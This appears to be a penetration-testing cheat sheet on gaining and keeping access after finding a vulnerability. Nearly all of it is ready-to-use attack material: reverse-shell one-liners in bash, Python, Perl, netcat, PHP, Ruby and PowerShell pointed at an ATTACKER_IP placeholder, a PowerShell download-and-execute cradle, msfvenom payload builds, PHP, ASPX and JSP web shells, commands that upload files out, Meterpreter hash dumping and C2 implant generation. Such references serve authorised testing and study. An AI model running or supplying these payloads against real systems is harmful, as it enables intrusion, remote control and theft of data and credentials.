Organized notes for shells, payloads, and C2 frameworks. Last Updated: 2026-03-27
After finding a vulnerability, the next step is gaining interactive access through shells and payloads. This section covers reverse shells, bind shells, web shells, payload generation, shell stabilization, and C2 frameworks.
# Netcat listener (basic)
nc -lnvp <PORT>
# Netcat with rlwrap (enables arrow keys and history)
rlwrap nc -lnvp <PORT>
# Socat listener
socat TCP-LISTEN:<PORT>,reuseaddr,fork -
# Metasploit multi/handler
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <IP>; set LPORT <PORT>; exploit"
π‘ Pro Tip: Always use
rlwrapwith netcat β it provides readline support for arrow keys, history, and tab completion.
# Bash
bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1'
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Perl
perl -e 'use Socket;$i="<ATTACKER_IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Netcat (traditional)
nc -e /bin/bash <ATTACKER_IP> <PORT>
# Netcat (without -e)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <ATTACKER_IP> <PORT> > /tmp/f
# PHP
php -r '$sock=fsockopen("<ATTACKER_IP>",<PORT>);exec("/bin/bash -i <&3 >&3 2>&3");'
# Ruby
ruby -rsocket -e'f=TCPSocket.open("<ATTACKER_IP>",<PORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# PowerShell (one-liner)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',<PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# PowerShell (Base64 encoded β use for avoiding special character issues)
# Generate with: echo -n '<POWERSHELL_COMMAND>' | iconv -t utf-16le | base64 -w 0
powershell -e <BASE64_ENCODED_PAYLOAD>
# PowerShell via download cradle
powershell "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"
# Windows β Staged reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe
# Windows β Stageless reverse TCP
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe
# Linux β Reverse TCP
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf
# ASPX web shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f aspx -o shell.aspx
# WAR file (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war -o shell.war
# PHP reverse shell
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -o shell.php
# DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o shell.dll
# MSI (for AlwaysInstallElevated)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o shell.msi
# HTA
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f hta-psh -o shell.hta
# Shellcode β Python format
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -b '\x00' -f python -v shellcode
π‘ Pro Tip: Use staged payloads (
meterpreter/reverse_tcp) with Metasploit handler and stageless payloads (shell_reverse_tcp) with netcat listeners.
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php if(isset($_POST['cmd'])){echo shell_exec($_POST['cmd']);} ?>
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e)
{
string cmd = Request["cmd"];
if (cmd != null)
{
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
}
</script>
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String dirone = dis.readLine();
while ( dirone != null ) {
out.println(dirone);
dirone = dis.readLine();
}
}
%>
# Method 1: Python PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows <ROWS> cols <COLS>
# Method 2: Script command
script /dev/null -c bash
# Then: Ctrl+Z
stty raw -echo; fg
# Get terminal size (on attacker machine)
stty size
# If you have cmd, switch to PowerShell
powershell
# If constrained language mode, try bypass
powershell -version 2
# Python HTTP server
python3 -m http.server 80
# PHP built-in server
php -S 0.0.0.0:80
# Using updog (supports uploads too)
updog -p 80
# wget
wget http://<ATTACKER_IP>/file -O /tmp/file
# curl
curl http://<ATTACKER_IP>/file -o /tmp/file
# Netcat
# Attacker: nc -lnvp 4444 < file
nc <ATTACKER_IP> 4444 > file
# PowerShell
Invoke-WebRequest -Uri "http://<ATTACKER_IP>/file.exe" -OutFile "C:\Windows\Temp\file.exe"
(New-Object Net.WebClient).DownloadFile("http://<ATTACKER_IP>/file.exe","C:\Windows\Temp\file.exe")
# certutil
certutil -urlcache -split -f "http://<ATTACKER_IP>/file.exe" "C:\Windows\Temp\file.exe"
# Bitsadmin
bitsadmin /transfer myDownloadJob /download /priority high "http://<ATTACKER_IP>/file.exe" "C:\Windows\Temp\file.exe"
# Start upload server on attacker
python3 -m uploadserver 80
# Upload from Linux target
curl -X POST http://<ATTACKER_IP>/upload -F 'files=@/path/to/file'
# Upload from Windows (PowerShell)
Invoke-WebRequest -Uri "http://<ATTACKER_IP>/upload" -Method POST -InFile "C:\path\to\file"
# Start SMB server on attacker
impacket-smbserver share $(pwd) -smb2support
# Start SMB server with authentication
impacket-smbserver share $(pwd) -smb2support -user test -password test
# Copy file from Windows
copy \\<ATTACKER_IP>\share\file.exe C:\Windows\Temp\
# Mount as drive
net use Z: \\<ATTACKER_IP>\share /user:test test
copy Z:\file.exe C:\Windows\Temp\
# Encode on source
base64 -w 0 file > file.b64
cat file.b64
# Decode on target
echo '<BASE64_STRING>' | base64 -d > file
# Start Metasploit
msfconsole
# Multi/handler for catching shells
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
exploit -j
# Useful Meterpreter commands
sessions -l # List sessions
sessions -i <ID> # Interact with session
background # Background session
upload /path/file # Upload file
download /path/file # Download file
shell # Drop to system shell
getsystem # Attempt privilege escalation
hashdump # Dump password hashes
migrate <PID> # Migrate to another process
# Start Sliver
sliver-server
# Generate implant
generate --mtls <ATTACKER_IP> --os windows --arch amd64 --format exe --save /tmp/implant.exe
# Start listener
mtls -l <PORT>
# Interact with session
sessions
use <SESSION_ID>
# Start Villain
python3 Villain.py
# Generate payload
generate os=windows lhost=<ATTACKER_IP> obfuscate
| Framework | Language | Notable Feature |
|---|---|---|
| Metasploit | Ruby | Most comprehensive, huge module library |
| Sliver | Go | Modern, cross-platform, no dependency on target |
| Cobalt Strike | Java | Industry standard (commercial) |
| Havoc | C/C++ | Open-source Cobalt Strike alternative |
| Villain | Python | Simple, generates obfuscated payloads |
| Mythic | Python/Go | Web-based UI, extensible agents |
nc -e on systems that donβt support it (use mkfifo method instead)